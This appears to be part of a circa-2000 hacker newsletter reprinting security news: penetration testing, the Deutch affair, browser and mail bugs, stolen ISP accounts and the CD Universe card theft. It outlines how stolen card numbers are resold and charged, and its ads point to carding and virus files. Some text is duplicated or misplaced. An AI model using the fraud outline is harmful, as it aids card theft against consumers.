Once appointed by a company to check their security system staff carry out a
technical analysis then travel to the country of the company and start hacking.
What makes them different to some other data security firms is that they actually
make changes in their customers' computers to see whether they can really be
hacked into, Defcom said.
``We don't just go to the firewall and prove that we can break it, but we go
into the main computers,'' Defcom's senior cyberspace hacker, who asked to
remain anonymous, told Reuters.
The company prefers not to name its hackers as this may unleash a backlash
from real hackers out there seeking to disturb the legitimate ones.
Defcom takes between two hours to three days with most cases fixed once it
tells them how to improve the system.
``We deliver the truth to clients. The bitter-sweet truth,'' Gullberg said.
Most Business In Finance Sector
``Security has been a big problem in the business world and it still is.
The Internet is not safe,'' Gullberg said.
Defcom says it is not hard to convince companies of their market expertise,
although clients' IT officials get very nervous once they manage to hack into
their systems.
Most illegal hacking in finance centers on stealing credit card numbers but
is expanding quickly into industrial espionage.
Defcom said an underground market known as ``information broker'' sites was
growing on the Web where clients could scout around for hackers to do their
dirty work, like breaking into a company to steal car designs or corporate data.
Defcom has several contracts in Israel, especially in Internet banking, and
said that despite its reputation as one of the world's high-tech nations its
security was often sloppy.
It also has contracts in Europe but has not yet moved into the United States,
the biggest market for hackers.
Defcom, which eventually plans to go public, has some 50 fixed customers --
including Sweden's top listed companies -- who sign three-year contracts for
monthly visits from Defcom.
``We work for insurance companies in Britain who want their clients, especially
banks, checked to see how safe they are and what insurance premium they should
have,'' Gullberg said.
The security industry got a boost last month in the form of the Clinton
administration's plan to relax rules on the export of sophisticated encryption
technology, which enables people to conceal credit card numbers and other data
from prying eyes.
The need for tighter security was underscored last month when hackers broke
into online music retailer CD Universe, a unit of EUniverse Inc. and stole
300,000 credit card numbers, demanding payment of $100,000 not to use them.
Defcom advises its clients not to publicize their use of its services as this
could be a challenge to the hacking community.
``It's easy to break into the system. Too easy. But often customers don't know
when the companies have had intruders because they cover it up,'' the top hacker
said.
@HWA
190.0 Deutch controversy raises security questions for Internet users
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Slash
'A huge vulnerability'
Full Story <http://www.ukhackers.com/0602002.htm>
Deutch controversy raises security questions for Internet users
From Science Correspondent Ann Kellan
Former CIA Director John Deutch's alleged use of a home computer to store
classified materials has sparked a security scare in the U.S. intelligence
community and has also pointed out a problem many Internet users are not aware of.
The minute anyone logs onto the Internet, financial records and other personal
information stored on a home computer are an open book to any cyber-thief.
Security experts say Deutch would be a much bigger target than the average person.
"There are known foreign intelligence agents operating on the Internet today ...
and they are actively seeking U.S. intelligence on the Internet," said Daniel
Verton of Federal Computer Week.
"It's hard to know exactly what he had on his home computer," Verton said.
"But we do know that it was thousands of pages in length, we do know it was
top secret and probably ranged the entire breadth of classifications, from
unclassified to top secret code word information."
Most hackers are more interested in larceny than espionage, targeting credit
card numbers and bank records. Those records are becoming more vulnerable as
the number of people using the Internet grows.
'A huge vulnerability'
The modems that most home computers use to connect to the Internet are difficult,
but not impossible, for a thief to crack. But some new ways to log on are l
ess secure.
"We're seeing things like broadband Internet ... faster connections that are
always on," said PC World Magazine's Sean Dugan. "That's a huge vulnerability."
Computers connected to the Internet through high-speed cable modems are at
the highest risk, because they share the line with other people.
Danger lurks in 'Trojan Horses'
Microsoft Windows even has a setting that lets users share information with
those people. This function can be disabled if you don't want others to have
access to your computer.
Another point of entry is through e-mail attachments, where so-called
"Trojan horses" can be hidden. These programs give thieves the ability to
control another computer from a remote location, without the user's knowledge.
Security software and programs that scramble or encrypt data are available,
but experts say the best way for users to protect themselves is to keep private
information off-line.
@HWA
191.0 PC's Vulnerable to Security Breaches, Experts Say
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Slash
Unless a home PC is placed in an isolation tank, computer security experts
say, it is vulnerable to a panoply of potential intrusions.
full Story <http://www.ukhackers.com/0602003.htm>
PC's Vulnerable to Security Breaches, Experts Say
Unless a home PC is placed in an isolation tank, computer security experts
say, it is vulnerable to a panoply of potential intrusions.
For that reason, it can be an extremely hazardous place to keep anything
remotely confidential, much less the classified documents that John M. Deutch,
the former director of central intelligence, had stored on his unsecured home
computers in 1996.
"The more software people have on their computers, and the more they are online,
the more vulnerable they become to attack," said Avi Rubin, an Internet security
expert at AT&T Labs Research in Florham Park, N.J. "All the factors that
contribute to increased vulnerability are becoming more and more common."
To be sure, general awareness of security vulnerabilities among home PC users
was not very high in 1996, when people were beginning to explore the World Wide
Web in increasing numbers.
Then, as now, the level of vulnerability depended largely on how the computer
was used and on what precautions were taken.
A computer user's vulnerability to attack does not depend as much on which Web
site is visited as on what software is used to gain access to the Internet, experts say.
Mr. Deutch's computers had access to the Web via America Online. And, in 1996,
America Online accounts were among the most frequent targets of attackers, who
used sundry ploys to gain access to members' passwords. This included planting
malicious hidden programs known as trojan horses on the victims' hard drives.
In recent years, experts have exposed a number of security holes in browsing
software. In general, however, e-mail programs are the software most vulnerable
to intrusion, said Richard Smith, an Internet security consultant in Cambridge, Mass.
That is because a trojan horse attack can come in the form of a malicious program
attached to a piece of e-mail or, in some instances, can be carried within the
e-mail message itself. In either case, these programs end up on a computer's
hard drive, where they can do many kinds of mischief. For example, some have
been known to capture passwords by monitoring the victim's keystrokes. This has
been a common attack on AOL.
"It's possible that you can read files off a hard drive and then send them back
on the Web as e-mail to someone else, or post them to a news group," Mr. Smith said.
The danger of a trojan horse is that it is a seemingly legitimate program that
hides -- and eventually executes -- a malicious code.
While many such attacks are mounted randomly, Mr. Smith said that such a method
of gaining access to a computer would be ideal for espionage.
"These security holes would be a great way for spying," he said. This could be
accomplished, he said, by sending an e-mail message containing a clandestine program
that lowers the computer's security settings, paving the way for a second, more
malicious program.
"If you're in the spy business," he said, "what better way to do it than to get the
home e-mail addresses of important people and use some of these security holes to
bug their computer?"
Mr. Smith said he knew of no such incidents involving espionage, but he added that
a portion of a fast-spreading virus called Melissa, which infected thousands of
computers last year, worked by lowering the security settings on target computers.
Mr. Smith said it was only relatively recently that security holes in Internet-based
software were systematically documented.
Whether Mr. Deutch had anti-virus software installed on his computers has not
been made public. Even if he did, Mr. Rubin said, anti-virus software offers
protection only against known viruses.
"The big problem is a virus that's creative and new and acts in a way
unanticipated by the anti-virus writers," he said. "There's no way to defend
against a virus like that."
Investigators have not revealed the kind of lines with which Mr. Deutch's
computers had been connected to the Internet, but it is likely that they had
used a dial-up modem.
A dial-up connection poses less of a security risk than what is known as a
persistent connection -- like a cable modem or digital subscriber line, or
DSL -- in which a computer is always online.
Persistent connections typically are much higher speed than dial-up connections
and have surged in popularity only recently.
Mark Seiden, chief network security consultant to the Kroll-O'Gara Information
Security Group in Palo Alto, Calif., said a more interesting question was the
extent to which Mr. Deutch was sending and receiving sensitive information from
the home computer via e-mail.
E-mail traveling over the Internet is vulnerable to interception. Unless it is
encrypted, its contents are there for the taking.
"The last time I talked to someone at the C.I.A. about sending something there,
they said to send it by U.S. mail," Mr. Seiden said. "They didn't want me to e-mail
them anything."
The fact that no computer is an island these days, Mr. Rubin said, has put security
experts in something of an "arms race" with potential intruders. "They take a few
steps forward, then we take a few steps," he said.
In spite of a tremendous effort on the part of security professionals to secure
computers, Mr. Rubin said, "I'd say the attackers have the edge."
"The best thing people can do in the face of this is not to talk to strangers,"
La Guardia said. "Don't go into dark alleys. There are bad places out there--and
bad people. Stay away from them."
In addition to JavaScript, other common scripting languages include AppleScript,
CGI, HTMLScript, Perl and VBScript. JavaScript is standardized under the European
Computer Manufacturer's Association (ECMA), an international standards body based in
Switzerland.
@HWA
192.0 Hacking hazards come with Web scripting territory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Slash
Heard about a Web security issue lately? Chances are scripting was part of the problem.
full Story <http://www.ukhackers.com/0602004.htm>
Hacking hazards come with Web scripting territory
Heard about a Web security issue lately? Chances are scripting was part of the problem.
If you've surfed the Web recently, you've almost certainly seen scripts at
work performing some of the most common tasks of today's Web pages, from helping
users search pages to scrolling text across the screen and launching new windows.
In the wake of a government advisory about a newly recognized Web scripting
security threat, software providers fear scripting is getting a bum rap despite
security protections built into the top scripting implementations.
Web scripting is the method most sites use to create moving parts. Scripting
languages such as JavaScript--invented in 1995 by Brendan Eich at Netscape,
now a division of America Online--bring to the Web the kind of features that
at the dawn of the Web could be found only on the computer desktop, features
that let users interact with sites without calling up a new page from the server.
The difference between scripting languages, which can be found on and off the
Web, and computer programming languages like C++ or Fortran, is that scripting
languages are interpreted, while programming languages are compiled. Compilers
translate programming instructions written by humans into a language a microchip
can understand.
With scripts, browsers essentially do that work on the fly.
Scripts are powerful enough, however, to do real damage when written maliciously.
Both this week's government advisory and countless other exploits demonstrated by
bug hunters on the Web have shown how hackers can take advantage of the flexibility
and power of scripting to pry into Web surfers' private information, both in the
browser and in other applications on the computer.
Chief among these bug hunters is the Bulgarian security consultant Georgi Guninski,
who has numerous scripting exploits to his name for the major browsers provided by
Microsoft and Netscape.
In a recent example, Guninski showed how Microsoft's Outlook Express mail reading
application let a malicious user embed a script within a message to expose the mail
of the targeted user while the initial message window remained open.
Guninski earned a steady income of $1,000 per bug from Netscape before the company
brought him on board as a consultant last summer.
Security experts point out, however, that the government's advisory did not pinpoint
any flaw on the scripting side of things, but rather with Web sites' implementation
of forms that permitted the introduction of potentially malicious scripting tags.
Despite the frequency of scripting-related security problems, Microsoft stresses that
the hazards come with the technology territory.
"There is always a balance between security and ease of use, and scripting is no
exception," a Microsoft spokeswoman said. "It is up to each customer to decide what
sites they want to allow to perform scripting and which they don't."
She noted that Internet Explorer's security zones let users classify sites according
to whether they are known and trusted and therefore allowed to run scripts.
Netscape said that scripting is the safer of various alternatives because of its
"sandbox" security model, which only allows the script to interact within certain
boundaries on the site visitor's computer.
Michael La Guardia, group product manager for the Communicator browser, explained
that JavaScript is only allowed to interact with the user through the Web interface.
"If you have native code talking directly to your computer, it could do anything,"
he said. "It could set up a listener and get sensitive information like passwords
and credit card numbers or erase your hard drive. With JavaScript, the programmer
is not allowed to execute native code."
He added: "If it were native code running all the time, we wouldn't have the Web
as we have it today. It would be one giant gaping security hole."
For example, Microsoft's ActiveX technology has been criticized for running code
on computers while relying on a "trust" security model, in which ActiveX controls
can execute native code provided the user has decided they trust the control's source.
Even with sandbox protections, however, Netscape said users should exercise caution
in choosing which sites to visit.
"The best thing people can do in the face of this is not to talk to strangers," La
Guardia said. "Don't go into dark alleys. There are bad places out there--and bad
people. Stay away from them."
In addition to JavaScript, other common scripting languages include AppleScript,
CGI, HTMLScript, Perl and VBScript. JavaScript is standardized under the European
Computer Manufacturer's Association (ECMA), an international standards body based
in Switzerland.
@HWA
193.0 Microsoft battles pair of security bugs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Slash
Microsoft bug exterminators are at work on two security flaws that could expose
users' information to the prying eyes of online attackers.
Full Story <http://www.ukhackers.com/0602005.htm>
Microsoft battles pair of security bugs
Microsoft bug exterminators are at work on two security flaws that could expose users'
information to the prying eyes of online attackers.
Microsoft has acknowledged that bugs in its Java virtual machine for the Internet
Explorer browser and its Outlook Express mail reader for IE enable malicious hackers
to look at more than they ought to be able to see on targets' computers.
Microsoft said it was devising patches for both holes.
With Outlook Express, a malicious user can embed a script within a message that
will let him or her read the mail of the targeted user while the initial message
window remains open. The bug does not affect the standard version of Outlook.
"This could potentially let a malicious user read email, but under pretty restricted
conditions," a Microsoft representative said. "And it only allows email to be read--not
changed or altered."
Pending a fix, Microsoft said that concerned users can turn off Active Scripting
within IE's Restricted Zone and reconfigure Outlook Express to open email within
the restricted zone.
The second problem, in Microsoft's Java virtual machine, also permits the improper
reading of files on the user's computer. Originally discovered, described and
demonstrated by Kensuke Tada, the vulnerability lets a Java applet read, but not
write to or delete, "known files," which could include the registry file or other
files with common names like "memo.txt" or "password.txt." A Java applet is a small
application written in Java such as an online spreadsheet or news ticker.
The Java virtual machine translates code written in the cross-platform Java programming
language into code that computers can understand.
Microsoft said it learned of the problem over the weekend and immediately began
working on its patch. The company downplayed the seriousness of the problem, saying
the attacker could only access a particular directory that was most often empty.
Microsoft also said the problem was simple to patch and that all versions of the
JVM would be patched this weekend.
@HWA
194.0 Ex-CIA chief surfed Web on home computer with top-secret data
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Slash
Former CIA Director John Deutch used a home computer that contained sensitive
information to access the Internet, a CIA report concluded, raising fears that
secrets stored on the machine could have been stolen.
Full Story <http://www.ukhackers.com/0602009.htm>
Former CIA Director John Deutch's alleged use of a home computer to store classified
materials has sparked a security scare in the U.S. intelligence community and has
also pointed out a problem many Internet users are not aware of.
The minute anyone logs onto the Internet, financial records and other personal
information stored on a home computer are an open book to any cyber-thief. Security
experts say Deutch would be a much bigger target than the average person.
"There are known foreign intelligence agents operating on the Internet today ...
and they are actively seeking U.S. intelligence on the Internet," said Daniel Verton
of Federal Computer Week.
"It's hard to know exactly what he had on his home computer," Verton said. "But we
do know that it was thousands of pages in length, we do know it was top secret and
probably ranged the entire breadth of classifications, from unclassified to top secret
code word information."
Most hackers are more interested in larceny than espionage, targeting credit card
numbers and bank records. Those records are becoming more vulnerable as the number
of people using the Internet grows.
'A huge vulnerability'
The modems that most home computers use to connect to the Internet are difficult, but
not impossible, for a thief to crack. But some new ways to log on are less secure.
"We're seeing things like broadband Internet ... faster connections that are always
on," said PC World Magazine's Sean Dugan. "That's a huge vulnerability."
Computers connected to the Internet through high-speed cable modems are at the highest
risk, because they share the line with other people.
Danger lurks in 'Trojan Horses'
Microsoft Windows even has a setting that lets users share information with those
people. This function can be disabled if you don't want others to have access to your
computer.
Another point of entry is through e-mail attachments, where so-called "Trojan horses"
can be hidden. These programs give thieves the ability to control another computer
from a remote location, without the user's knowledge.
Security software and programs that scramble or encrypt data are available, but
experts say the best way for users to protect themselves is to keep private
information off-line.
@HWA
195.0 How Safe Is AOL 5.0?
~~~~~~~~~~~~~~~~~~~~
Contributed by Slash
AOL is hit with $8 billion lawsuit over its latest client software.
Internet service provider giant America Online took a potentially damaging
hit Monday as it was handed a class-action lawsuit demanding at least $8 billion
in damages apparently caused by its Internet software AOL 5.0.
The lawsuit, filed in the U.S. District Court in Alexandria, Virginia, seeks $1000,
or three times the amount of damage (whichever is greater) each for the estimated 8
million people who have already downloaded the faulty software and "have had the
operation of their computer altered as a result thereof," according to the filing.
AOL officials responded on Wednesday by stating their intent to fight the allegations.
"[The allegations] have no basis in fact or law and we intend to vigorously contest
them," said Rich D'Amato, an AOL spokesperson. "[Version 5.0] does not prevent members
from accessing the Internet through other providers."
User Complaints Rise
AOL has come under much criticism since releasing the software as users have
complained of interference it causes with other computer programs, particularly
software of other ISPs.
The filing alleges that "as part of its normal operation, Version 5.0 disables,
interrupts, alters, or interferes with operations of other software installed on
those same computers, including but not limited to disabling any other internet
software which provides internet access by non-AOL ISPs that also may be installed
on the computer."
In particular, the lawsuit claims that "AOL knew of or should have known that it
operated in such a manner."
"I upgraded to AOL 5.0 and blindly thought everything went fine," said Kenneth Novak,
who uses AOL as a backup. "When I tried to dial in to my work location with dial-up
networking, I was unable to use the IE [Internet Explorer] 5.0 browser through our
firewall."
The problem seems to be affecting people from all technological backgrounds as well,
perplexing the first-time user and veteran computer and Internet users alike.
"I am a computer consultant and I know my way around installing software," said Kevin
Wohler, another self-proclaimed AOL 5.0 victim. "I ran into multiple problems, not
the least of which was the interference with my normal ISP."
Unauthorized Changes?
Most of all, users were most distressed about how an "upgrade" seemed to cause
mostly harmful and unauthorized changes to their systems.
"AOL made changes to my system that I would have never agreed to," Wohler said.
AOL officials, however, claim that AOL 5.0 does not make any changes to anything,
including settings, unless the user permits them.
"AOL software allows users the ability to set AOL as their default," D'Amato said.
"They must choose AOL to be their default Internet setting."
@HWA
196.0 Teens steal thousands of net accounts
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.computerworld.com/home/print.nsf/idgnet/000113DD2E
Teens steal thousands of Net accounts
By Ann Harrison
01/13/2000 A group of teen-age computer crackers allegedly
used thousands of stolen Internet accounts to probe the
networks of two national nuclear weapons laboratories,
according to law enforcement authorities in California.
At least five crackers, ages 15 to 17, compromised
accounts at 17 Internet service providers in the U.S.,
Romania and Australia and used the accounts to attack
nine targets including the Sandia and Oak Ridge
National Laboratories and Harvard University, according
to Capt. Jan Hoganson of the Sacramento Valley
High-Tech Crimes Task Force in California. The crackers
managed to gain root access to computers at Harvard,
Hoganson said, but just scanned the national lab
networks to look for vulnerabilities. The intruders stole
200,000 accounts alone from San Francisco-based
Pacific Bell Internet Services for use in the attack.
According to Hoganson, the stolen accounts were used
to scan for open network ports at the labs, which could
be used for subsequent attacks. Hoganson emphasized
that the laboratory networks themselves weren't
compromised. He said law enforcement authorities were
notified of the scans Dec. 7, by an El Dorado Hills,
Calif.-based Internet service provider called InnerCite,
which had received complaints from the labs that
accounts it hosted were used in the scans.
"The feds say it was an unwelcome visit, but there was
no criminal action committed," said Hoganson, who
likened the action to nighttime intruders rattling the
doorknobs of a locked business. "Fortunately, the ISP
preserved the evidence," he said.
Damian Frisby, a detective with the Sacramento Valley
High-Tech Crimes Task Force, said the FBI is now
contacting other service providers from which accounts
were allegedly stolen. He said the young intruders, who
allegedly belong to a cracking group called Global Hell,
had been tracked down and contacted by authorities
after they bragged of their exploits in Internet chat
rooms. While no charges have yet been filed, Frisby
said he expects that some of the attackers will
eventually be charged with unlawful access of a
computer and possibly grand theft.
"One of the first things an ISP considers is to shut
these people down -- which is great for security and
stops the attack, but it makes it hard for us to track
them down," said Frisby. "They should contact law
enforcement, but they have to make the decision
whether to track them down or cut them off, and we
can't tell them what to do."
Frisby noted that while some of the compromised
Internet service providers had chosen to cooperate with
law enforcement, one, PSINet Inc. in Herndon, Va.,
demanded a search warrant before taking any action.
"We don't want to violate anyone's rights, but it delays
the process," said Frisby. PSINet wasn't available to
comment on the request.
While the investigation is ongoing, Frisby said service
providers should guard against the theft of account data
by taking care to update operating systems with current
security patches and maintain effective firewalls. "It is
a hard job to do because there are new exploits
everyday," he said.
Frisby added that many of the compromised Pac Bell
accounts used passwords that were easy to uncover
using standard dictionary programs that search for
known words. He said the attackers somehow obtained
a list of 200,000 Pac Bell user accounts and were able
to successfully steal the passwords for about 95,000
accounts.
Michelle Strykowski, a spokeswoman for Pacific Bell
Internet Services, a subsidiary of SBC Communications
Inc., based in San Antonio, disputed the number of
compromised passwords. Strykowski said 63,000
passwords had been decoded, but Pac Bell was still
unsure how the accounts were compromised. She said
there has been no indication that the account
information has been abused elsewhere and no
customers have complained.
According to Strykowski, the company sent an advisory
to customers Jan. 7, warning of a security breach and
advising them to change their passwords to include
uppercase and lowercase characters, symbols and
numbers, which makes them more difficult to crack. She
said Pac Bell's 330,000 California Internet customers
were also advised to change their passwords every 90
days and to not use the same passwords for a number
of different accounts.
"Security is a top priority for Pacific Bell, and we are
working closely with the police, but these hackers have
proved to the Internet as a whole that we must
maintain vigilance," said Strykowski, who noted that the
Global Hell cracking group had also compromised Web
sites at the FBI and the White House. "All other ISPs,
like Pac Bell, have to constantly scrutinize security and
make recommendations to customers to be responsible
Internet users and change their passwords."
@HWA
197.0 Online Credit Hacker May Be Out For Profit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.apbnews.com/newscenter/internetcrime/2000/01/14/hack0114_01.html
Online Credit Hacker May Be Out for
Profit
Investigator Thinks 'Maxus' Is a Two-Person Team
Jan. 14, 2000
By David Noack
NEW YORK (APBnews.com) -- While a
computer hacker maintains that he stole credit
card numbers from an online retailer as
revenge for poor service and a couple of
broken CDs, a security expert believes that
"Maxus" is actually a two-man team in Russia
engaged in a well-organized credit card fraud.
In an e-mail message to APBnews.com,
Maxus gave his motives for hacking into CD
Universe's customer credit card database. He
acknowledged stealing 300,000 card numbers and trying to extort $100,000
from the company by threatening to post the information online.
"They send me two broken CDs, and I conclude test of their site for bugs.
... Their service is not good. Amazon is better," he said.
In an e-mail exchange, Maxus said he might post more of the pilfered
credit card numbers online, and he claimed that he still can get into the CD
Universe database if he wants.
"They can't fix it without me," Maxus boasted.
Admits one previous theft
Maxus also said he has stolen credit card
information once before, in 1997. He claimed
he got 20 then but declined to say where they
were from or what he did with the information.
He said he is using a computer with Windows
2000, Solaris and a Pentium III.
Attempts to reach Maxus with additional
questions and clarifications were
unsuccessful. Brad Greenspan, chairman of
e-Universe, the parent company of CD
Universe, could not be reached for comment.
Does Maxus have associates?
Meanwhile, AntiOnline, an online computer
security publication and consulting firm, which
conducted its own investigation into the
hacking incident, suspects the operation is
more organized and widespread than Maxus concedes.
John Vranesevich, the founder of AntiOnline, said that Maxus does not
work alone.
"We believe there are about a dozen that are close to Maxus. We don't
have any hard evidence, but that is the impression we get. There are also
some in Canada," said Vranesevich.
He said the Web page that Maxus set up initially, which included some of
the stolen credit card numbers as part of the extortion threat against CD
Universe, was really an effort to peddle or advertise the credit card numbers
to buyers.
A four-layered scheme?
The credit card scheme, says AntiOnline, has four parts:
Maxus' partners first buy the numbers in wholesale lots of $1,000 for
$1 a number.
The card numbers are resold in blocks of 50 for a round price of
$500. First-round buyers who keep numbers for themselves must
pay Maxus a hefty kickback.
AntiOnline believes Maxus uses "CyberCash" software to set
himself up as an online merchant, entering the stolen numbers as if
customers in his store were using the cards.
In this case, the software "sees to it that the stolen credit cards are
charged, and that the 'merchant' or in this case, 'thief,' gets the
funds 'owed to him' electronically deposited into a bank account,"
Vranesevich reported in AntiOnline.
The "final buyers" of the card numbers use them to access online
pornography sites or for online gambling. They also can order
computer equipment online.
Finds two partners
Vranesevich believes he has identified Maxus as Maxim Ivancov, and also
another individual, who is called Diagnoz or Evgenij Fedorov, who may be in
his 30s. Both have set up accounts at either banks or money transfer
companies in order to complete the transactions.
AntiOnline recommends that any user who shopped at CD Universe cancel
their credit cards immediately.
Vranesevich said that information from the AntiOnline investigation has
been turned over to the FBI. He declined to say with which FBI office he
was working.
"The fact that CD Universe or the credit card companies would suggest to
anyone that they could keep these credit cards accounts until they notice
suspicious activity is ridiculous," said Vranesevich.
May be at risk from Russian mob
William Callahan, president of Unitel, a multinational investigative and
security company, suspects that the Russian hackers are a small group
and their greatest threat is not from law enforcement, but from Russian
mobsters.
"This is a small crowd of young Russian hackers who are incredibly adapt
at computer stuff, they have no scruples and are just having fun stealing
money," said Callahan.
However, he cautioned, once organized crime in Russia gets wind of what
they are doing, they will muscle in on the operation.
"They will use them and extort them. They have to watch over their
shoulder. [The Russian mobsters] are always looking for ways to launder
money offshore," said Callahan, a former federal prosecutor.
Purdue University professor Eugene Spafford, director of a new
multidisciplinary center designed to tackle issues related to information
security, finds Maxus' story of a revenge hack "plausible."
"I do not know where the liability lies, because I do not know for certain
where 'Maxus' got the numbers -- if he did -- nor do I know how," Spafford
said. "If the story is as he presented it, then there is some blame to be laid
at the merchant, and some with the company that provided the
e-commerce software."
@HWA
AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _ _ _
/\ | | | | (_) (_)
/ \ __| |_ _____ _ __| |_ _ ___ _ _ __ __ _
/ /\ \ / _` \ \ / / _ \ '__| __| / __| | '_ \ / _` |
/ ____ \ (_| |\ V / __/ | | |_| \__ \ | | | | (_| |
/_/ \_\__,_| \_/ \___|_| \__|_|___/_|_| |_|\__, |
__/ |
|___/
ADVERTISING IS FREE, SEND IN YOUR ADS TO CRUCIPHUX@DOK.ORG
______________________________________________________________
French Hackers' Portal / Le Portail Des Lascars Francophones
Links and News of interest / Liens et news pour lascars. ;-)
--------------------------------------------------------------
->->->->->->->->-> http://lascars.cjb.net <-<-<-<-<-<-<-<-<-
______________________________________________________________
http://revenger.hypermart.net
±±± ±±±±± ± ± ±±±±±±± ±± ± ±±±±±± ±±±±± ±±±
± ± ± ± ± ± ± ± ± ± ± ± ± ± ±
± ± ± ± ± ± ± ± ± ± ± ±± ± ± ±
±± ±±± ± ± ±±±±±±± ± ± ± ± ±±± ±±
± ± ± ± ± ± ± ± ± ± ±±± ± ± ±
± ± ± ± ± ± ± ± ± ± ± ± ± ±
± ± ±±±±± ± ±±±±±±± ± ±± ±±± ±±±±± ± ± 's
T E X T Z F I L E HOMEPAGE
http://revenger.hypermart.net
Here you may find up to 340 text files for:
ANARCHY , HACKING , GUIDES , CRACKING , VIRUS , GENERAL , ELECTRONICS ,
UNIX , MAGAZINES , TOP SECRET , CARDING , U.F.O.s , LOCKPICKING , IRC ,
PHREAKING , BOOKS AND A-S FILES AVAILABLE!
http://revenger.hypermart.net
Visit Us Now !
.
.
............... .
: : . . . . . .
__:________ : : ___________ . . .
\ < /_____:___ : ( < __( :_______
) : )______:___\_ (___( : /
=====/________|_________/ < | : (________________(======
: (__________________) :wd!
. : : :
- / - w w w . h a c k u n l i m i t e d . c o m - / -
: . . . . . : :
. . . . . :...............:
.
.
**************************************************************************
* *
* ATTRITION.ORG http://www.attrition.org *
* ATTRITION.ORG Advisory Archive, Hacked Page Mirror *
* ATTRITION.ORG DoS Database, Crypto Archive *
* ATTRITION.ORG Sarcasm, Rudeness, and More. *
* *
**************************************************************************
+------------------------------------------------------------------------+
| SmoG Alert .. http://smog.cjb.net/ NEWS on SCIENCE |
| =================== http://smog.cjb.net/ NEWS on SECURITY |
| NEWS/NEWS/NEWS/NEWS http://smog.cjb.net/ NEWS on THE NET |
| http://smog.cjb.net/ NEWS on TECHNOLOGY |
+------------------------------------------------------------------------+
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
* www.csoft.net webhosting, shell, unlimited hits bandwidth ... *
* www.csoft.net www.csoft.net www.csoft.net www.csoft.net *
* *
* http://www.csoft.net/ *
* *
* One of our sponsors, visit them now *
* *
* * * * * * ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* 2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
@HWA
HA.HA Humour and puzzles ...etc
~~~~~~~~~~~~~~~~~~~~~~~~~
Don't worry. worry a *lot*
http://www.ircnews.com/ Vol 1 Issue 1 Jan 3, 2000
Funny Story Gets Cut/Pasted To Channel 28 Times
CINCINNATI, OH - A C/NET News.com story relating to another huge
goof-up made by Microsoft's free email service, Hotmail.com, excited
chatters on irc.openprojects.net's #linuxhelp channel. In fact, the
people enjoyed the story so much that it got posted 28 times by
various people.
The initial joy the story brought to #linuxhelp was quickly offset as
tempers flared and the channel administration hastily +moderated the
channel in an effort to restore order in the out-of-control chat room.
"Fuck off.", said MbM, immediately after setting the +m. "We all have
browsers, we don't need people posting the story every 30 seconds."
Witnesses claimed that there was no initial response from the
#linuxhelp regulars to MbM's actions, because "nobody had been
+voiced". The chat room was described as "very quiet".
IRCNews.com learned that the cut and pasted story was in regards to
Microsoft forgetting to pay the $35 registration fee for the
passport.com domain name (the authentication part of Hotmail.com),
leaving millions of people without access to their email. A Linux
programmer forked out the $35 on behalf of Microsoft, and the
popular freemail service was back in business.
Everyone agreed that the News.com story was "very funny". One
#linuxhelp regular named kernel_ said that it came as little surprise to
anyone that people would want to cut and paste it.
"OMG, okay. PiNkEyE tells me to go check out this story about M$ and
Hotmail, so I do, and it's hysterical. So I post the URL to #linuxhelp,
and about 2 minutes later, all hell broke loose!"
kernel_ added, "At first I saw a few hahaha's and LOL's. Then people
start posting parts of the article to the channel. Before I knew it,
people are tripping out and probably a hundred lines of text was
scrolling by every 5 seconds! It got out of control."
"It all happened so fast.", commented Etriaph, also a #linuxhelp
regular. "I remember getting up to make some Pop-Tarts and I come
back and like quotes are flying all over, people are saying shut up,
fights are breaking out, more quoted text, people leaving the channel
to avoid the spam. It was like a warzone."
MbM quickly stepped in to restore peace to the chat room. After
several reported attempts to calm the channel by telling people to
"stop that", MbM was left with no choice but to +moderate, which he
did.
MbM's quick thinking may have saved thousands of lines of spam from
being shown to the 40 or so people visiting #linuxhelp at the time.
When asked for his version of the events, MbM told IRCNews.com to
"Fuck off."
-=-
Submitted by Black Dome:
<oscillator> no my winunix98 is eleet
<oscillator> i call it winix
<tcp-ip> winix?
<oscillator> hell yea
<oscillator> all microsoft made!
<oscillator> my aol is flying on it
<tcp-ip> is it pretty good?
<oscillator> very good
<tcp-ip> where you get ti?
<oscillator> my aol punters and scrollers work well on it, and it even
comes with a warez server!
<tcp-ip> where you get it?
<oscillator> i wrote most of it myself of course. on vb
Max the SysOp (oscillator)
-----------------------------------------------
One OS to rule them all,
One OS to find them.
One OS to call them all,
And in salvation bind them.
In the bright land of Linux,
Where the hackers play.
(J. Scott Thayer, with apologies to J.R.R.T.)
And of course...
The 'Free Trout' site.. <heh>
http://freetrout.bow.org/
@HWA
=-----------------------------------------------------------------------=
_ _
___(_) |_ ___ ___
/ __| | __/ _ Y __|
\__ \ | || __|__ \
|___/_|\__\___|___/
SITE.1
#! GRASS ROOTS SECURITY SITE
http://www.linuxsecurity.com/
Runby: Pr0xy
Brand new
Check this out! krad layout, lots of info, definately a place to add to your
security bookmarks. Go there today!
#2 COMMERCIAL SECURITY SITE:
http://www.securiteam.com/
Nice security related site, just found it recently. check it out. lots of
info. - Ed
#3 DAMAGE INC.
http://surf.to/damage_inc
Hack/Phreak Zine, nice flash site, but not overcrowded with graphics
checking out the content now .. - Ed
You can Send in submissions for this section too if you've found
(or RUN) a cool site...
@HWA
H.W Hacked websites
~~~~~~~~~~~~~~~~
